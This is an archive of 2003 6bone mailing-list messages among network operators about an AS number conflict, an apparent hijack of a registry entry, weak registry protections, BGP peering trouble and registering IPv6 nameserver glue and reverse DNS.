Subject: Re: [6bone] AS1654/SICS announce 178 prefixes !
Date: Fri, 27 Jun 2003 15:43:03 +0100
Organization: Kewlio.net Limited
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Hi Gert,

SICS are now using a new AS number - we recently re-peered with their new AS (AS29155).


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.


----- Original Message ----- 
From: "Gert Doering" <gert@space.net>
To: "Lars Albertsson" <lalle@sics.se>
Cc: "Gert Doering" <gert@space.net>; "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>; <6bone@mailman.isi.edu>; "Raimundas
Tuminauskas" <raimis@litnet.lt>; "Linas Gudonavicius" <linas@litnet.lt>; "Markus Paluschek" <warex@vsh.pl>; <ipv6@sics.se>
Sent: Friday, June 27, 2003 3:04 PM
Subject: Re: [6bone] AS1654/SICS announce 178 prefixes !


> Hi,
>
> On Mon, Jun 09, 2003 at 04:54:58PM +0200, Lars Albertsson wrote:
> > > > Seconded, I see that as well - 1654 is originating half of the prefixes
> > > > as their own.  BGP bug or human goof...
> >
> > Some additional information: It seems that there is some confusion
> > about the ownership of AS1654, and that we are not the only site
> > announcing AS1654 for IPv6 routing. I don't know whether that has
> > anything to do with the problems you saw or not. We are working on
> > sorting out the ownership issue.
>
> To followup on this (because I'm curious) - has this been sorted out?  Two
> different organizations using the same AS number for routing doesn't
> sound very healthy.
>
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  55442  (55636)
>
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From bmanning@ISI.EDU Sat Jun 28 12:53:14 2003
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From: Bill Manning <bmanning@ISI.EDU>
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 the hijackers are now active w/ IPv6.  it must be viable :)




----- Forwarded message from Bill Manning -----

>From bmanning@ISI.EDU  Sat Jun 28 12:52:05 2003
From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200306281951.h5SJpxk00098@boreas.isi.edu>
Subject: Re: FYI: Notification of 6BONE Database changes
In-Reply-To: <200306281648.h5SGm3T3026728@mail1.nokia.net> from 6BONE Database Notifications at "Jun 28, 3 09:48:03 am"
To: auto-dbm-mgr@whois.6bone.net
Date: Sat, 28 Jun 2003 12:51:58 -0700 (PDT)
Cc: bmanning@ISI.EDU
X-Mailer: ELM [version 2.4ME+ PL39 (25)]
X-AntiVirus: scanned by AMaViS 0.2.1

 this is a hijacking attempt.


% Dear Colleague,
% 
% This is to notify you that some object(s) in the 6BONE database
% which you either maintain or are listed as to-be-notified have
% been added, deleted or changed.
% 
% The objects below are the old and new entries for these objects
% in the database. In case of DELETIONS, the deleted object is
% displayed. NOOPs are not reported.
% 
% The update causing these changes came from the following host:
% 
% - From-Host:       jazz.viagenie.qc.ca(206.123.31.2)
% - Date:            20030628
% - Time:            09:48:02
% 
% 6BONE Registry Notification Department
% 
% ---
% PREVIOUS OBJECT:
% 
% inet6num:     3FFE::/24
% netname:      ROOT66
% descr:        pTLA for DNS root servers
% country:      US
% admin-c:      BM2-6BONE
% tech-c:       BM2-6BONE
% remarks:      This object is automatically converted from the RIPE181 registry
% mnt-by:       MNT-ISI-LAP
% changed:      bmanning@isi.edu 20000203
% changed:      auto-dbm@whois.6bone.net 20010117
% source:       6BONE
% 
% REPLACED BY:
% 
% inet6num:     3FFE::/24
% netname:      ONLINE
% descr:        IPv6 Network of online.org.ua
% country:      UA
% admin-c:      EAG-6BONE
% tech-c:       EAG-6BONE
% notify:       admin@online.org.ua
% mnt-by:       ONLINE-MNT
% changed:      admin@online.org.ua 20030628
% source:       6BONE
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

----- End of forwarded message from Bill Manning -----

-- 
"When in doubt, Twirl..."  -anon

From cfaber@fpsn.net Sun Jun 29 01:10:53 2003
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Date: Sun, 29 Jun 2003 02:10:36 -0600
From: Colin Faber <cfaber@fpsn.net>
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I guess I can look forward to my first IPv6 spam here pretty soon.


Bill Manning wrote:

>  the hijackers are now active w/ IPv6.  it must be viable :)
> 
> 
> 
> 
> ----- Forwarded message from Bill Manning -----
> 
>>From bmanning@ISI.EDU  Sat Jun 28 12:52:05 2003
> From: Bill Manning <bmanning@ISI.EDU>
> Message-Id: <200306281951.h5SJpxk00098@boreas.isi.edu>
> Subject: Re: FYI: Notification of 6BONE Database changes
> In-Reply-To: <200306281648.h5SGm3T3026728@mail1.nokia.net> from 6BONE Database Notifications at "Jun 28, 3 09:48:03 am"
> To: auto-dbm-mgr@whois.6bone.net
> Date: Sat, 28 Jun 2003 12:51:58 -0700 (PDT)
> Cc: bmanning@ISI.EDU
> X-Mailer: ELM [version 2.4ME+ PL39 (25)]
> X-AntiVirus: scanned by AMaViS 0.2.1
> 
>  this is a hijacking attempt.
> 
> 
> % Dear Colleague,
> % 
> % This is to notify you that some object(s) in the 6BONE database
> % which you either maintain or are listed as to-be-notified have
> % been added, deleted or changed.
> % 
> % The objects below are the old and new entries for these objects
> % in the database. In case of DELETIONS, the deleted object is
> % displayed. NOOPs are not reported.
> % 
> % The update causing these changes came from the following host:
> % 
> % - From-Host:       jazz.viagenie.qc.ca(206.123.31.2)
> % - Date:            20030628
> % - Time:            09:48:02
> % 
> % 6BONE Registry Notification Department
> % 
> % ---
> % PREVIOUS OBJECT:
> % 
> % inet6num:     3FFE::/24
> % netname:      ROOT66
> % descr:        pTLA for DNS root servers
> % country:      US
> % admin-c:      BM2-6BONE
> % tech-c:       BM2-6BONE
> % remarks:      This object is automatically converted from the RIPE181 registry
> % mnt-by:       MNT-ISI-LAP
> % changed:      bmanning@isi.edu 20000203
> % changed:      auto-dbm@whois.6bone.net 20010117
> % source:       6BONE
> % 
> % REPLACED BY:
> % 
> % inet6num:     3FFE::/24
> % netname:      ONLINE
> % descr:        IPv6 Network of online.org.ua
> % country:      UA
> % admin-c:      EAG-6BONE
> % tech-c:       EAG-6BONE
> % notify:       admin@online.org.ua
> % mnt-by:       ONLINE-MNT
> % changed:      admin@online.org.ua 20030628
> % source:       6BONE
> % 
> 
> 

-- 
Colin Faber
(303) 859-1491
fpsn.net, Inc.
* Black holes are where God divided by zero. *


From jeroen@unfix.org Sun Jun 29 08:52:22 2003
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Bill Manning wrote:

>  the hijackers are now active w/ IPv6.  it must be viable :)

That the 6bone registry doesn't have any mnt-lower mechanism
is the biggest problem. The second problem is that most person
objects don't have a maintainer field, thus can be played around
at will. One could attempt to clean the database from 'odd'
entries, but because of the simple point that there is no
mnt-lower one can't protect against this and it will be dirt
all over again in a few moments time. Registering multiple
person objects and not throwing out the bad ones is also one
thing that can be seen quite easily in the 6bone db.

If one really wants to 'hijack' some space, just announce it
in BGP, nearly all 'transits' (if you can call them that) will
happily announce anything you push into them.

This is not hijacking, it's just simple mere usage.
If it was RIPE/APNIC/ARIN db's that where toyed with
then it would have been hijacking... but they fortunatly
have mnt-lowers ;) But apparently the 6bone db doesn't
check for maintainer attributes, so that would be futile
then. We have to be glad that the notify attribute works.

<SNIP>

> % - From-Host:       jazz.viagenie.qc.ca(206.123.31.2)
> % - Date:            20030628
> % - Time:            09:48:02

Shouldn't From-Host include the original source address.
As this probably just is the Viagenie webinterface but
which host really triggered this registration?
Also why doesn't jazz communicate in IPv6 ? :)
Maybe the webinterface could quite easily prevent the
hijacking behaviour by checking for existing objects?
And ofcourse check the maintainer attribute.

Greets,
 Jeroen


From max@chabrowa.net Sun Jun 29 18:15:40 2003
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  Hi,

Few days ago our server was DDoSed and when DDoS attack was stoped,
some peers can't connect... they have idle state. I tried to clean
bgp, restarted bgpd but this doesn't work... anyone know something
about this? In logs have one error, but i don't know why :( Other
peers works fine

2003/06/30 03:07:21 BGP: [Event] BGP connection from host 3ffe:400c:feed::6
2003/06/30 03:07:21 BGP: [Event] BGP connection IP address 3ffe:400c:feed::6 is Idle state
2003/06/30 03:08:05 BGP: 3ffe:400c:feed::6 [Event] Connect start to 3ffe:400c:feed::6 fd 12
2003/06/30 03:08:05 BGP: 3ffe:400c:feed::6 [Error] bgp_read_packet error: Connection reset by peer

I'm using zebra-pj 0.94

-- 
Marcin Markowski
mail: max@chabrowa.net


From todd@shadow.fries.net Tue Jul  1 06:06:11 2003
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From: "Todd T. Fries" <todd@fries.net>
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Subject: [6bone] core ns registry database
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I called Network Solutions yesterday.  I have made an annual event out of
calling them and seeing how far I can prod them about how far they are with
supporting the registration of IPv6 dns servers.

This time, I am actually surprised.  They have been playing with it, their
famed web management tool (ick, can we get the email templates back please?)
has an experimental feature 'not turned on yet' to allow registration of
IPv6 dns servers.

I was told to call 866-345-0330 and I had a pleasant conversation with someone
who told me the above, but also that they didn't dare 'enable' this feature
as the database for the core ns regististry (perhaps I'm using the wrong
terms here) .. is not capable of taking an IPv6 address.

I write here to ask if anyone knows anyone who knows anyone .. well you get
the picture .. if anyone can find out what is being done to correct the
current roadblock for this to happen?

I was told to try to find an email contact at

	http://www.verisign-grs.com

which redirects me to

	http://www.verisign.com/nds/naming/

And provides not alot of insight as to who to contact.

Am I barking up the right tree?

Thanks,
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
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(last updated 2003/03/13 07:14:10)


From todd@shadow.fries.net Tue Jul  1 11:25:27 2003
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Date: Tue, 1 Jul 2003 13:24:37 -0500
From: "Todd T. Fries" <todd@fries.net>
To: 6bone@ISI.EDU
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Yesterday I said I got off the phone with Networks Soltuions and thought this
was another year I could not register an IPv6 dns server.

Now, I'm on hold, on and off infact, with their advanced dns team, at
the US number of 1-866-345-0330.

They are capable of putting in an IPv6 address for a dns server that
has an existing IPv4 address.  For example (as sent to the 6bone mailing
list):

	whois -h whois.internic.net dot.ep.net

Is most definately registered as a v4 and v6 dns server.

If any of you out there are wanting to register an IPv6 address with
your dns server for your domain, call the above number.  You may not
get the same person I did, so you may need some patience while you
explain to them the above information proves they can do it.

I have raised the bar one notch, however, and requested not only
ns0.fries.net and ns1.fries.net get an additional ip that happens to
be IPv6, but I've also requested that ns6.fries.net get registered
as a host with an IPv6 record _only_.

This last bit may not be everyone's desire just yet, but I like to be
forward thinking, and would like to push to have things ready when
more and more do not need to register an IPv4 address to have a
dns server.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)


From tcpdumb@it-bytes.org Tue Jul  1 12:33:16 2003
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From: tcpdumb <tcpdumb@it-bytes.org>
To: 6bone@ISI.EDU
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Subject: [6bone] IPv6 6 to 4 Reverse lookup.
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Hi there!

Some days ago while talking to other 6to4-Users the question came up, on how to get reverse lookup on 6to4-addresses. A "dig -x 2002::" showed up the following result:

##### snip 

tcpdumb@beast:~$ dig -x 2002::

; <<>> DiG 9.2.1 <<>> -x 2002::
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 30249
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;\[x20020000000000000000000000000000/128].ip6.arpa. IN PTR

;; AUTHORITY SECTION:
ip6.arpa.               10800   IN      SOA     dns1.icann.org. hostmaster.icann.org. 2003062400 3600 1800 604800 10800

;; Query time: 92 msec
;; SERVER: 192.168.23.3#53(192.168.23.3)
;; WHEN: Tue Jul  1 21:18:48 2003
;; MSG SIZE  rcvd: 113

tcpdumb@beast:~$ 

##### snap

which would lead me to the thought that there is only one DNS where the SOA lies (not very redundant). An eMail asking the hostmaster whether it is possible or not to get the SOA for the own 6to4 address space (IPv4 registered at ripe, three Nameservers available) was left unanswered.

Question: Are there any international laws on my side?

Sorry guys but this is annoying!
Regards, 

	Lukas Th. Hey

From Q@ping.be Tue Jul  1 13:20:20 2003
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On Tue, Jul 01, 2003 at 09:32:40PM +0200, tcpdumb wrote:
> Hi there!
> 
> Some days ago while talking to other 6to4-Users the question came up, on how to get reverse lookup on 6to4-addresses. A "dig -x 2002::" showed up the following result:

2.0.0.2.ip6.int.        1D IN SOA       dot.ep.net.
hostmaster.ep.net. (
                                        2002091605      ; serial
                                        3H              ; refresh
                                        15M             ; retry
                                        1W              ; expiry
                                        1d12h )         ; minimum

2.0.0.2.ip6.int.        1D IN NS        dot.ep.net.
2.0.0.2.ip6.int.        1D IN NS        flag.ep.net.
2.0.0.2.ip6.int.        1D IN NS        z.ip6.int.

2.0.0.2.ip6.arpa doesn't seem to be delegated however.


Kurt


From lalle@saruman.sics.se Mon Jun 30 05:23:22 2003
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To: Gert Doering <gert@Space.Net>
Cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu,
   Raimundas Tuminauskas <raimis@litnet.lt>,
   Linas Gudonavicius <linas@litnet.lt>, Markus Paluschek <warex@vsh.pl>,
   ipv6@sics.se
Subject: Re: [6bone] AS1654/SICS announce 178 prefixes !
References: <1055099846.25189.58.camel@w1-2-aub.fr.corp.ndsoftware.com>
	<20030608231134.P67740@Space.Net> <u6z1xy34agz.fsf@snaga.sics.se>
	<u6z8ysb2tdp.fsf@snaga.sics.se> <20030627160408.X67740@Space.Net>
From: Lars Albertsson <lalle@sics.se>
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Gert Doering <gert@Space.Net> writes:

> Hi,
> 
> On Mon, Jun 09, 2003 at 04:54:58PM +0200, Lars Albertsson wrote:
> > > > Seconded, I see that as well - 1654 is originating half of the prefixes
> > > > as their own.  BGP bug or human goof...
> > 
> > Some additional information: It seems that there is some confusion
> > about the ownership of AS1654, and that we are not the only site
> > announcing AS1654 for IPv6 routing. I don't know whether that has
> > anything to do with the problems you saw or not. We are working on
> > sorting out the ownership issue.
> 
> To followup on this (because I'm curious) - has this been sorted out?  Two
> different organizations using the same AS number for routing doesn't 
> sound very healthy.

This is now sorted out. I shut down our router a few days after the
issue was brought to my attention, and we are now peering with a new
AS number. I guess the AS number conflict caused the problem. I also
upgraded zebra from 0.93a to 0.93b, in case the cause was there.

Thanks for notifying us of the problem.

/Lalle

From bmanning@ISI.EDU Tue Jul  1 13:12:38 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] IPv6 6 to 4 Reverse lookup.
In-Reply-To: <20030701213240.384223a4.tcpdumb@it-bytes.org> from tcpdumb at "Jul 1, 3 09:32:40 pm"
To: tcpdumb@it-bytes.org (tcpdumb)
Date: Tue, 1 Jul 2003 13:12:34 -0700 (PDT)
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	see the longstanding thread on ip6.int vs ip6.arpa
	to register in 2.0.0.2.ip6.int,  send your request
	to  hostmaster@ep.net




% Hi there!
% 
% Some days ago while talking to other 6to4-Users the question came up, on how to get reverse lookup on 6to4-addresses. A "dig -x 2002::" showed up the following result:
% 
% ##### snip 
% 
% tcpdumb@beast:~$ dig -x 2002::
% 
% ; <<>> DiG 9.2.1 <<>> -x 2002::
% ;; global options:  printcmd
% ;; Got answer:
% ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 30249
% ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
% 
% ;; QUESTION SECTION:
% ;\[x20020000000000000000000000000000/128].ip6.arpa. IN PTR
% 
% ;; AUTHORITY SECTION:
% ip6.arpa.               10800   IN      SOA     dns1.icann.org. hostmaster.icann.org. 2003062400 3600 1800 604800 10800
% 
% ;; Query time: 92 msec
% ;; SERVER: 192.168.23.3#53(192.168.23.3)
% ;; WHEN: Tue Jul  1 21:18:48 2003
% ;; MSG SIZE  rcvd: 113
% 
% tcpdumb@beast:~$ 
% 
% ##### snap
% 
% which would lead me to the thought that there is only one DNS where the SOA lies (not very redundant). An eMail asking the hostmaster whether it is possible or not to get the SOA for the own 6to4 address space (IPv4 registered at ripe, three Nameservers available) was left unanswered.
% 
% Question: Are there any international laws on my side?
% 
% Sorry guys but this is annoying!
% Regards, 
% 
% 	Lukas Th. Hey
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From bob@thefinks.com Tue Jul  1 09:26:58 2003
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To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
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Subject: [6bone] 6bone pTLA 3FFE:401B::/32 allocated to PL-CDP6
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PL-CDP6 has been allocated pTLA 3FFE:401B::/32 having finished its review 
period.

   <http://whois.6bone.net/cgi-bin/whois?PL-CDP6>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration in e.f.f.3.ip6.int for pTLAs, please 
send the prefix allocated above, and a list of at least two authoritative 
nameservers, to hostmaster@ep.net.]

[Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the 
draft 
http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt 
now approved by the IETF/IESG as a BCP RFC. We are in the process of 
getting IANA to do the actual delegation to the 6bone ip6.arpa servers. 
There will be an announcement of progress soon.]


Thanks,

Bob 


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Subject: [6bone] 6bone pTLA 3FFE:401A::/32 allocated to RETINA
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RETINA has been allocated pTLA 3FFE:401A::/32 having finished its review 
period.

   <http://whois.6bone.net/cgi-bin/whois?RETINA>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration in e.f.f.3.ip6.int for pTLAs, please 
send the prefix allocated above, and a list of at least two authoritative 
nameservers, to hostmaster@ep.net.]

[Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the 
draft 
http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt 
now approved by the IETF/IESG as a BCP RFC. We are in the process of 
getting IANA to do the actual delegation to the 6bone ip6.arpa servers. 
There will be an announcement of progress soon.]


Thanks,

Bob 


From jeroen@unfix.org Tue Jul  1 10:23:34 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <todd@fries.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] core ns registry database
Date: Tue, 1 Jul 2003 19:23:21 +0200
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Todd T. Fries wrote:

> I called Network Solutions yesterday.  I have made an annual 
> event out of calling them and seeing how far I can prod them
> about how far they are with supporting the registration of
> IPv6 dns servers.

It is apparently possible, see below, but none of the registries
apparently want to cooperate in doing it. With the below in hand
I mailed around but just got told 'no it doesn't work' or even
'what is IPv6'...

Note that if can complain hard enough it is possible, some times:

whois -h whois.internic.net dot.ep.net

Whois Server Version 1.3

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Server Name: DOT.EP.NET
   IP Address: 198.32.2.10
   IP Address: 2001:478:6:0:230:48FF:FE22:6A29
   Registrar: NETWORK SOLUTIONS, INC.
   Whois Server: whois.networksolutions.com
   Referral URL: http://www.networksolutions.com

And what we all want (dig +trace dot.ep.net aaaa | tail):

dot.ep.net.             172800  IN      AAAA
2001:478:6:0:230:48ff:fe22:6a29
ep.net.                 172800  IN      NS      dot.ep.net.
ep.net.                 172800  IN      NS      flag.ep.net.
;; Received 149 bytes from 192.5.6.30#53(A.GTLD-SERVERS.net) in 4 ms

Greets,
 Jeroen

------------

From: Matt Larson <mlarson@verisign.com>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Geo.'" <georger@getinfo.net>, nanog@merit.edu
Subject: Re: Root server error
Message-ID: <20030306181511.GW16021@chinook.rgy.netsol.com>
References: <20030227203321.GB31684@chinook.rgy.netsol.com>
<008f01c2dea5$40d0a1a0$210d640a@unfix.org>

Hi, Jeroen.

On Thu, 27 Feb 2003, Jeroen Massar wrote:
> Is it _finally_ possible then, to get a AAAA record as glue into
> the com/net/org zones?

Yes, since RRP 2.0 (the protocol used by ICANN-accredited registrars
to register com/net domains with VeriSign Global Registry Services)
was deployed in mid-May, 2002.  Since the registrars are the customers
of VeriSign GRS, we communicated this new feature to them directly and
not to the general public.  (Although researching this topic has made
it clear to me that we've got to get something about it on our web
site, which I'm working on.)  It appears that the registrars have not
widely publicized the availability of this feature.  Also, not all
registrars support registration of AAAA records.  For example, the
Network Solutions registrar does not, but PSI Japan and eNom do.
That's definitely not a complete list: those are the only registrars
that I have definitive information on.  The only way to know for sure
about your registrar is to ask them.

Please let me know if I can be answer any other questions or otherwise
help you out.

Kind regards,

Matt
--
Matt Larson <mlarson@verisign.com>
VeriSign Global Registry Services


From todd@shadow.fries.net Tue Jul  1 11:28:20 2003
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Date: Tue, 1 Jul 2003 13:27:30 -0500
From: "Todd T. Fries" <todd@fries.net>
To: 6bone@ISI.EDU
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Subject: [6bone] Re: moving fast
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Just wanted to clarify.  This will only work for certain if you have
network solutions as your registrar for the dns host registration in
question.

However, you may be able to talk your respective registrars into the
same, as apparently it is possible.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Todd T. Fries on Tue, Jul 01, 2003 at 01:24:37PM -0500, we have:
| Yesterday I said I got off the phone with Networks Soltuions and thought this
| was another year I could not register an IPv6 dns server.
| 
| Now, I'm on hold, on and off infact, with their advanced dns team, at
| the US number of 1-866-345-0330.
| 
| They are capable of putting in an IPv6 address for a dns server that
| has an existing IPv4 address.  For example (as sent to the 6bone mailing
| list):
| 
| 	whois -h whois.internic.net dot.ep.net
| 
| Is most definately registered as a v4 and v6 dns server.
| 
| If any of you out there are wanting to register an IPv6 address with
| your dns server for your domain, call the above number.  You may not
| get the same person I did, so you may need some patience while you
| explain to them the above information proves they can do it.
| 
| I have raised the bar one notch, however, and requested not only
| ns0.fries.net and ns1.fries.net get an additional ip that happens to
| be IPv6, but I've also requested that ns6.fries.net get registered
| as a host with an IPv6 record _only_.
| 
| This last bit may not be everyone's desire just yet, but I like to be
| forward thinking, and would like to push to have things ready when
| more and more do not need to register an IPv4 address to have a
| dns server.
| -- 
| Todd Fries .. todd@fries.net
| 
| 
| Free Daemon Consulting, LLC                    Land: 405-748-4596
| http://FreeDaemonConsulting.com              Mobile: 405-203-6124
| "..in support of free software solutions."
| 
| Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
|             Key: http://todd.fries.net/pgp.txt
| 
| (last updated 2003/03/13 07:14:10)
| 

From jeroen@unfix.org Tue Jul  1 14:58:10 2003
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Subject: RE: [6bone] Re: moving fast
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Todd T. Fries wrote:

> Just wanted to clarify.  This will only work for certain if you have
> network solutions as your registrar for the dns host registration in
> question.
> 
> However, you may be able to talk your respective registrars into the
> same, as apparently it is possible.

Do they have an email address over there?
As I don't like too call US numbers for a uncertain
(read: prolly quite long) amount of time from an dutch line.
(No, we don't have those ultra cheap telco's over here :)

Greets,
 Jeroen


From kim@tac.nyc.ny.us Tue Jul  1 18:18:40 2003
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Not having much luck yet with directNIC.com...

Their name server settings have the following "improvement" announced:

    Due to improvements at directNIC you are no longer required to enter
    the IP address for nameservers. We only require the Server Name or
    FQDN.

So apparently they retrieve the information from my name server, but
are ignoring the AAAA records.  I tried to explain this in more words
to them, so we'll see what happens.  If they could find someone who
knows what glue records are...

I just really don't want to go back to Network Solutions...

+ Kim


    | From:    directNIC Trouble Ticket System <support@directnic.com>
    | Date:    01 Jul 2003 22:38:53 -0000
    |
    | Thank you for using the directNIC.com Trouble Ticket System. The
    | following response is from a qualified directNIC customer support
    | team member:
    |
    | Date: 07/01/03 05:25pm
    | From: jim
    |
    | I am not certain exactly what you are asking.  Please explain
    | what you mean when you say "The improved nameserver handling" All
    | your domains are working properly and digs on them show the AAAA
    | records for your nameservers.  If you have any further questions,
    | please give us specific problems you need resolved so we can
    | better assist you.

From P.Zurawski@crowley.pl Tue Jul  1 23:46:07 2003
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From: "Piotr Zurawski" <P.Zurawski@crowley.pl>
To: "Jeroen Massar" <jeroen@unfix.org>, <todd@fries.net>, <6bone@ISI.EDU>
References: <001c01c3401b$e21de310$210d640a@unfix.org>
Subject: Re: [6bone] Re: moving fast
Date: Wed, 2 Jul 2003 08:45:07 +0200
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I think calling the helpdesk isn't the way to solve the problem. We
should rather look for someone being responsible for procedures,
designing the services etc. . In most cases posting such issues to
helpdesk is just being ignored by organization.

Best Regards,

Piotr
----- Original Message ----- 
From: "Jeroen Massar" <jeroen@unfix.org>
To: <todd@fries.net>; <6bone@ISI.EDU>
Sent: Tuesday, July 01, 2003 11:58 PM
Subject: RE: [6bone] Re: moving fast


> Todd T. Fries wrote:
>
> > Just wanted to clarify.  This will only work for certain if you have
> > network solutions as your registrar for the dns host registration in
> > question.
> >
> > However, you may be able to talk your respective registrars into the
> > same, as apparently it is possible.
>
> Do they have an email address over there?
> As I don't like too call US numbers for a uncertain
> (read: prolly quite long) amount of time from an dutch line.
> (No, we don't have those ultra cheap telco's over here :)
>
> Greets,
>  Jeroen
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From todd@shadow.fries.net Wed Jul  2 06:15:43 2003
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From: "Todd T. Fries" <todd@fries.net>
To: 6bone@ISI.EDU
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Initially, I asked `how should I point the masses to you guys?'  I received
the response `the phone number will work just fine'.  Since then I have been
informed that overseas customers would find an email address much less
costly.   Repeating the question again has resulted in the following
email address:

	dnssupport@networksolutions.com

Happy IPv6'ing!
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)


From todd@shadow.fries.net Wed Jul  2 06:56:12 2003
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Date: Wed, 2 Jul 2003 08:55:11 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Piotr Zurawski <P.Zurawski@crowley.pl>
Cc: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: moving fast
Message-ID: <20030702135511.GA9400@fries.net>
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Perhaps my understanding with the individual I spoke to in the
'advanced dns team' was not the correct way of doing things, but I mentioned
something to the effect of `if you keep getting calls to do this type of thing
manually, you will have an incentive to automate the process, and perhaps
make it available on the web domain management tool, eh?' to which the reply
was affirmative.

I consider `getting it to work' first order of business, and `getting it to
work well' 2nd order of business.

Hopefully the powers that be will recognize that the time and energy they will
invest in 'putting out fires' by manually inserting IPv6 records into the
gtld database and/or updating them would be spent more wisely by developing
the web frontend to just allow the customer to manage this themselves.  Being
one who understands a thing or two about web frontends, I would expect this
change to not happen overnight.  True, I've not been told `it will happen', but
what is desired is a process to put an IPv6 address into the gtld servers for
a nameserver.  This has been mapped out now for one registrar.  Refining the
process is left as an exercise for the respective registrars and their
customers to hash out, no?
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Piotr Zurawski on Wed, Jul 02, 2003 at 08:45:07AM +0200, we have:
| I think calling the helpdesk isn't the way to solve the problem. We
| should rather look for someone being responsible for procedures,
| designing the services etc. . In most cases posting such issues to
| helpdesk is just being ignored by organization.
| 
| Best Regards,
| 
| Piotr
| ----- Original Message ----- 
| From: "Jeroen Massar" <jeroen@unfix.org>
| To: <todd@fries.net>; <6bone@ISI.EDU>
| Sent: Tuesday, July 01, 2003 11:58 PM
| Subject: RE: [6bone] Re: moving fast
| 
| 
| > Todd T. Fries wrote:
| >
| > > Just wanted to clarify.  This will only work for certain if you have
| > > network solutions as your registrar for the dns host registration in
| > > question.
| > >
| > > However, you may be able to talk your respective registrars into the
| > > same, as apparently it is possible.
| >
| > Do they have an email address over there?
| > As I don't like too call US numbers for a uncertain
| > (read: prolly quite long) amount of time from an dutch line.
| > (No, we don't have those ultra cheap telco's over here :)
| >
| > Greets,
| >  Jeroen
| >
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
| >

From uriah_pollock@mentorg.com Wed Jul  2 07:08:21 2003
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From: "Pollock, Uriah" <uriah_pollock@mentorg.com>
To: "'todd@fries.net'" <todd@fries.net>,
   Piotr Zurawski
	 <P.Zurawski@crowley.pl>
Cc: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
Message-ID: <E8991813397E8E4E8DAE2EFBC8034AB301C348EF@svr-alm-exc-01.alm.mentorg.com>
Subject: RE: [6bone] Re: moving fast
Date: Wed, 2 Jul 2003 09:08:03 -0500 
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FYI:

www.zoneedit.com allows you to register IPv6 addresses. They have a web
front end, maybe the only front end, and give you up to 5 domains for free.
They may not be one of the big guys out there but they do have support.

  Uriah

